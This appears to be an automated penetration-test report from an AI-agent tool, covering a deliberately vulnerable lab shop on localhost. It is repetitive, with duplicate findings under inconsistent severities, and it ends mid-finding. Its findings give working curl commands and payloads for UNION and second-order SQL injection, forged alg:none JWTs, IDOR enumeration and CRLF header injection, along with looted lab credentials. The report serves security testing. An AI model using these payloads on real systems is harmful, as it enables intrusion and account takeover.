| Asset | NimbusCart Inc |
| URL / target | http://localhost:3000 |
| # | Vulnerability | Severity | Status | OWASP / CWE |
|---|---|---|---|---|
| 1 | BOLA at GET /api/v2/users/:id — customer JWT reads any user's full record incl cleartext admin password | Critical | confirmed | A01:2021-Broken-Access-Control |
| 2 | JWT signature not verified — alg:none / forged token accepted at /api/v2/* | Critical | confirmed | A04:2021-Insecure-Design |
| 3 | BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin password & apiKey | Critical | confirmed | A01:2021-Broken-Access-Control |
| 4 | Vertical privilege escalation chain: UNION SQLi -> looted admin password -> admin panel login | Critical | confirmed | A03:2021-Injection |
| 5 | BOLA/IDOR: any authenticated customer reads other customers' invoices at GET /account/invoice/:id | High | confirmed | A01:2021-Broken-Access-Control |
| 6 | HTTP Response Splitting (CRLF header injection) at GET /go?url= | High | confirmed | A03:2021-Injection |
| 7 | IDOR at GET /account/invoice/:id — customer reads other customers' invoices | High | confirmed | A01:2021-Broken-Access-Control |
| 8 | JWT signature bypass via alg:none — anonymous admin object access at GET /api/v2/users/:id | Low | needs-review | A04:2021-Insecure-Design |
| 9 | BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin cleartext… | Low | needs-review | A01:2021-Broken-Access-Control |
| 10 | UNION-based SQL injection at GET /shop/search?q= — full user table with cleartext passwords exfiltrated | Low | needs-review | A03:2021-Injection |
| 11 | Second-order SQL injection — payload stored in profile bio executes inside admin GET /admin/search-users | Low | confirmed | A03:2021-Injection |
| 12 | SSRF at POST /account/invoice/:id/export-pdf via letterheadUrl — server fetches arbitrary URL and reflects… | Low | needs-review | A10:2021-SSRF |
| 13 | Hardcoded internal support-tools bearer token & QA build marker exposed in /app.js | Low | confirmed | A07:2021-Auth-Failures |
| 14 | Hardcoded internal secrets exposed in client JS / developer docs | Low | needs-review | A07:2021-Auth-Failures |
| 15 | Privilege escalation chain: leaked admin password (via NS-01/NS-02) -> admin login accepted | Low | needs-review | A07:2021-Auth-Failures |
| 16 | Second-order SQLi (profile bio -> admin search) chained to admin-panel compromise via looted credential | Low | confirmed | A03:2021-Injection |
| 17 | Reflected DOM XSS lead: /?name= sink written to innerHTML in /app.js | Low | needs-review | A03:2021-Injection |
| 18 | IDOR at GET /account/invoice/:id — customer reads other customers' invoices | Info | needs-review | A01:2021-Broken-Access-Control |
| 19 | IDOR at GET /account/invoice/:id — customer reads other customers' invoices | Info | needs-review | A01:2021-Broken-Access-Control |
| 20 | Time-based blind SQL injection at POST /support/feedback (comment field) | Info | needs-review | A03:2021-Injection |
| 21 | Privilege misassignment: GET /account/api-token mints a role:admin JWT for a normal customer | Info | needs-review | A04:2021-Insecure-Design |
| 22 | Test accounts created during the engagement (DELETE after) | Info | needs-review | A04:2021-Insecure-Design |
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · conf 0.70 |
| Location | http://localhost:3000/api/v2/users/:id | ||
| Agent | idor | ||
http://localhost:3000/api/v2/users/:id — Path parameter `:id` in GET /api/v2/users/:id; Authorization: Bearer <customer JWT>. No object-level owner check.
Measured: a role=customer token (id=76) returned HTTP 200 with the complete internal record of a different customer (id=77) and of the admin (id=1), each including a cleartext `password` and live `apiKey`. Concretely retrieved admin credentials admin@nimbuscart.test / SuperSecretAdmin!2024 and apiKey nk_live_51Hc9adminSECRETkeydonot_share — full account-takeover material for every user. Endpoint also over-returns password/apiKey the UI never needs (excessive data exposure). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Enforce server-side object-level authorization: reject unless the JWT subject == :id or the caller holds an admin role. Remove `password` and `apiKey` from the serialized response entirely (never expose credential fields via API).
curl -s http://localhost:3000/api/v2/users/1 # 401 missing bearer token (auth required)
# register/login a normal customer, then GET /account/api-token to obtain TA (JWT id=76, role=customer)
curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/76 # own record, 200
curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/77 # ANOTHER customer, 200 + their password/apiKey
curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/1 # admin, 200 + cleartext password SuperSecretAdmin!2024
GET /api/v2/users/1 with a role=customer HS256 JWT (id=76)
ATTACK
GET http://localhost:3000/api/v2/users/:id → 200
body (531 bytes, excerpt):
Baseline own record: GET /api/v2/users/76 -> 200 {"id":76,"role":"customer",...}. Attack with SAME customer token: GET /api/v2/users/77 -> 200 {"id":77,"username":"nrspltB29000","password":"Passw0rd!B29000","apiKey":"nk_live_22ad9b650f8f49d1"...}; GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. No-token baseline: GET /api/v2/users/1 -> 401 {"error":"missing bearer token"}. PoC: pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Baseline own record: GET /api/v2/users/76 -> 200 {"id":76,"role":"customer",...}. Attack with SAME customer token: GET /api/v2/users/77 -> 200 {"id":77,"username":"nrspltB29000","password":"Passw0rd!B29000","apiKey":"nk_live_22ad9b650f8f49d1"...}; GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. No-token baseline: GET /api/v2/users/1 -> 401 {"error":"missing bearer token"}. PoC: pocs/bola_api_v2_users.shThe steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-347 | Confidence | 1/1 · refute 1/2 · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/:id | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/:id
Attacker mints arbitrary tokens (any id/role) without the secret — full API authentication/authorization bypass, independent of NS-04. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Reject alg=none; pin alg=HS256 server-side; verify signature with a strong secret; validate claims.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/api/v2/users/:id'
Payload used:
Authorization: Bearer eyJhbGciOiJub25lIn0.<forged {id:999,role:admin}>. (empty signature)Authorization: Bearer eyJhbGciOiJub25lIn0.<forged {id:999,role:admin}>. (empty signature)ATTACK
GET http://localhost:3000/api/v2/users/:id → 200
body (329 bytes, excerpt):
Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -> GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -> {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.sh
AGENT-RECORDED EVIDENCE
Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -> GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -> {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.shThe steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/{1..5} | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/{1..5}
Any authenticated customer reads every user's full internal record (cleartext password + live apiKey + balance) — mass account/API-key takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Enforce object-level authorization (requester id == :id or admin); strip password/apiKey from API responses.
Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/api/v2/users/{1..5}'Payload used: Authorization: Bearer <customer JWT id=90>; iterate :id
Authorization: Bearer <customer JWT id=90>; iterate :id
ATTACK
GET http://localhost:3000/api/v2/users/{1..5} → 200
body (318 bytes, excerpt):
Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.shThe steps above are the proof; this script automates them.
| Criticality | Critical | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · conf 0.60 |
| Location | POST http://localhost:3000/login -> GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login -> GET /admin
Anonymous attacker reaches full admin panel by chaining SQLi leak with credential reuse. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
Fix SQLi (NS-01); rotate admin credentials; enforce MFA on admin.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)' \ '/admin'
Payload used: username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)
username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)
ATTACK
POST /admin → 200
body (179 bytes, excerpt):
Reused SQLi-looted cred: POST /login -> 302 Location: /account with session cookie; GET /admin -> 200 '<h1>Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.sh
AGENT-RECORDED EVIDENCE
Reused SQLi-looted cred: POST /login -> 302 Location: /account with session cookie; GET /admin -> 200 '<h1>Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · conf 0.70 |
| Location | GET http://localhost:3000/account/invoice/:id | ||
| Agent | bola | ||
GET http://localhost:3000/account/invoice/:id — Path parameter `:id` on GET /account/invoice/:id (session cookie nimbus.sid). Sequential ids ~1001+. Server renders the invoice without verifying the logged-in user owns it.
Measured: an authenticated customer who owns zero invoices read invoices #1001/#1002/#1003 belonging to alice, bob and carol — exposing each customer's name and order total. Incrementing the sequential id enumerates all customers' billing records. No write attempted. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Add server-side ownership check on GET /account/invoice/:id: load the invoice, then require invoice.userId === req.session.user.id (or an admin role) before rendering; return 403/404 otherwise. Use unguessable ids only as defence-in-depth, not as the control.
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/account/invoice/1001 # baseline no session -> 302 logincurl -s -c a.jar http://localhost:3000/register --data 'username=nrspltA&email=nrsplt_A@example.test&password=Passw0rdA!x'
curl -s -b a.jar http://localhost:3000/account/invoice/1001 # attack: renders alice's invoice (Customer: alice, Total $29.99)
curl -s -b a.jar http://localhost:3000/account/invoice/1002 # bob; /1003 carol -> confirms enumeration
GET /account/invoice/1001 (owner alice), /1002 (bob), /1003 (carol) while logged in as customer id 78/79
ATTACK
GET http://localhost:3000/account/invoice/:id → 200
body (469 bytes, excerpt):
Logged-in customer A (id 78) GET /account/invoice/1001 -> HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -> 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.sh
AGENT-RECORDED EVIDENCE
Logged-in customer A (id 78) GET /account/invoice/1001 -> HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -> 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.shThe steps above are the proof; this script automates them.
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-113 | Confidence | 1/1 · refute 1/2 · conf 0.70 |
| Location | http://localhost:3000/go?url= | ||
| Agent | response_splitting | ||
http://localhost:3000/go?url= — GET /go, query parameter `url` — value copied verbatim into the `Location` response header without stripping CR (%0d) / LF (%0a)
Attacker fully controls the response header block via a crafted link. Measured: arbitrary custom header (X-Injected) and arbitrary Set-Cookie injected into a 302 response. This enables cookie fixation (forced session/attribute cookies), and — combined with the existing open redirect on the same param — header-based cache poisoning / client-state manipulation against any victim who follows the link. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)
Do not place raw user input into header values. Strip/reject CR (\r), LF (\n) and %0d/%0a in `url` before building the `Location` header; use the framework's safe redirect API (res.redirect with a validated absolute URL from an allowlist) which encodes header values. Combine with a redirect-target allowlist to also close the open redirect.
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com' | grep -i '^location' # baseline: Location: https://example.com
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com%0d%0aX-Injected:%20ns4171' | grep -iE '^(location|x-injected)' # attack: X-Injected: ns4171 present
curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com%0d%0aSet-Cookie:%20inj=1' | grep -i '^set-cookie' # attack: Set-Cookie: inj=1 present
GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171 (and ...%0d%0aSet-Cookie:%20inj=1)
ATTACK
GET http://localhost:3000/go?url= → 200
body (420 bytes, excerpt):
Baseline `GET /go?url=https://example.com` -> HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -> HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.
AGENT-RECORDED EVIDENCE
Baseline `GET /go?url=https://example.com` -> HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -> HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.| Criticality | High | Status | confirmed |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.20 |
| Location | GET http://localhost:3000/account/invoice/{1001,1002,1003} | ||
| Agent | chain | ||
GET http://localhost:3000/account/invoice/{1001,1002,1003}
Cross-customer disclosure of invoices (names, order totals, line items) by incrementing sequential ids. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
Scope invoice lookup to the authenticated user's own records.
Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/account/invoice/{1001,1002,1003}'Payload used: authenticated customer (id=90) session cookie; iterate invoice id
authenticated customer (id=90) session cookie; iterate invoice id
ATTACK
GET http://localhost:3000/account/invoice/{1001,1002,1003} → 200
body (232 bytes, excerpt):
Customer session reads invoice 1001 (owner alice, $29.99), 1002 (bob, $89.99), 1003 (carol, $349.00). App flag BURPAT{web_idor_invoice_aa8eeaa3} '...customer's invoice (owner: alice) without authorization'. pocs/idor_invoice_bola.sh
AGENT-RECORDED EVIDENCE
Customer session reads invoice 1001 (owner alice, $29.99), 1002 (bob, $89.99), 1003 (carol, $349.00). App flag BURPAT{web_idor_invoice_aa8eeaa3} '...customer's invoice (owner: alice) without authorization'. pocs/idor_invoice_bola.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-347 | Confidence | 1/1 · refute 1/2 · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/1 | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/1
Observed: - attack GET http://localhost:3000/api/v2/users/1 → 200 (438 bytes) [E01] - pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {"error":"invalid signature"}. Reproduced 2x. [E02] Not demonstrated: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Reject alg:none; pin allowed algorithm to HS256 server-side; never derive verification alg from the token header.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/api/v2/users/1'
Payload used: Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4OTkzODgyMSwiZXhwIjoxNzk5OTQ2MDIxfQ.
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4OTkzODgyMSwiZXhwIjoxNzk5OTQ2MDIxfQ.
ATTACK
GET http://localhost:3000/api/v2/users/1 → 200
body (438 bytes, excerpt):
pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {"error":"invalid signature"}. Reproduced 2x.
AGENT-RECORDED EVIDENCE
pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {"error":"invalid signature"}. Reproduced 2x.The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/1 | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/1
Observed: - attack GET http://localhost:3000/api/v2/users/1 → 200 (432 bytes) [E01] - Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh [E02] Not demonstrated: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Enforce object-level authorization (token subject == :id or admin). Never return password/apiKey fields to clients.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/api/v2/users/1'
Payload used: Authorization: Bearer <customer JWT id=89> -> GET /api/v2/users/1
Authorization: Bearer <customer JWT id=89> -> GET /api/v2/users/1
ATTACK
GET http://localhost:3000/api/v2/users/1 → 200
body (432 bytes, excerpt):
Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/shop/search?q= | ||
| Agent | api_bola_numeric_ids | ||
GET http://localhost:3000/shop/search?q= — Query parameter `q` on GET /shop/search. Concatenated into a `SELECT name, price, desc FROM products WHERE ...` (3 output columns). Single-quote breaks out; `-- -` / `#` comment. Unauthenticated.
Observed: - attack GET http://localhost:3000/shop/search?q= → 200 (378 bytes) [E01] - Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh [E02] Not demonstrated: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). The assessment could not verify data returned — so this remains a potential impact rather than a demonstrated one. Potential impact: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
Use parameterised/prepared statements for the search query; never string-concatenate `q`. Store passwords hashed. Add a least-privilege DB account.
curl -s 'http://localhost:3000/shop/search?q=phone' # baseline: 1 product row
curl -s "http://localhost:3000/shop/search?q=%27+UNION+SELECT+username%2Cpassword%2Crole+FROM+users--+-" # ATTACK: dumps users table
# repeat the attack once more -> identical dump (reproducibility>=2)
q=' UNION SELECT username,password,role FROM users-- -
ATTACK
GET http://localhost:3000/shop/search?q= → 200
body (378 bytes, excerpt):
Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh
AGENT-RECORDED EVIDENCE
Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh
The steps above are the proof; this script automates them.
| Criticality | Low | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.20 |
| Location | sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`) | ||
| Agent | api_bola_numeric_ids | ||
sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`) — Source: field `bio` on POST /account/profile (any customer). Sink: GET /admin/search-users (admin-only) re-uses stored `bio` values unsanitised in its query (columns username,email,role,bio). A stored `' UNION SELECT ... FROM users-- -` in bio fires when an admin runs the search.
Observed: - attack GET `bio`) → 200 (523 bytes) [E01] - As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh [E02] Not demonstrated: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). The assessment could not verify command output observed, data returned — so this remains a potential impact rather than a demonstrated one. Potential impact: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
Parameterise the /admin/search-users query and treat all stored fields (bio) as data, not SQL. Encode on read; never re-embed stored values into new statements by concatenation.
curl -s -c j -X POST http://localhost:3000/register --data-urlencode username=nrsplt_$RANDOM --data-urlencode email=t@example.test --data-urlencode password=Pw!12345
curl -s -b j -X POST http://localhost:3000/account/profile --data-urlencode "bio=zz' UNION SELECT 'NS_OP_PROOF','pw','pwned','x' FROM users-- -" # store payload
curl -s -c ja -X POST http://localhost:3000/login --data-urlencode username=admin --data-urlencode 'password=SuperSecretAdmin!2024' # admin (creds from the BOLA/UNION findings)
curl -s -b ja 'http://localhost:3000/admin/search-users?q=nrsplt' | grep -E 'NS_OP_PROOF|second-order|BURPAT' # marker + full-table dump in admin context
bio = zz' UNION SELECT 'NS_OP_PROOF_4171',password,'pwned','x' FROM users WHERE username='admin'-- -
ATTACK
GET `bio`) → 200
body (523 bytes, excerpt):
As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh
AGENT-RECORDED EVIDENCE
As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh
The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A10:2021-SSRF · CWE-918 | Confidence | 1/1 · refute 1/2 · conf 0.60 |
| Location | POST http://localhost:3000/account/invoice/1001/export-pdf | ||
| Agent | chain | ||
POST http://localhost:3000/account/invoice/1001/export-pdf
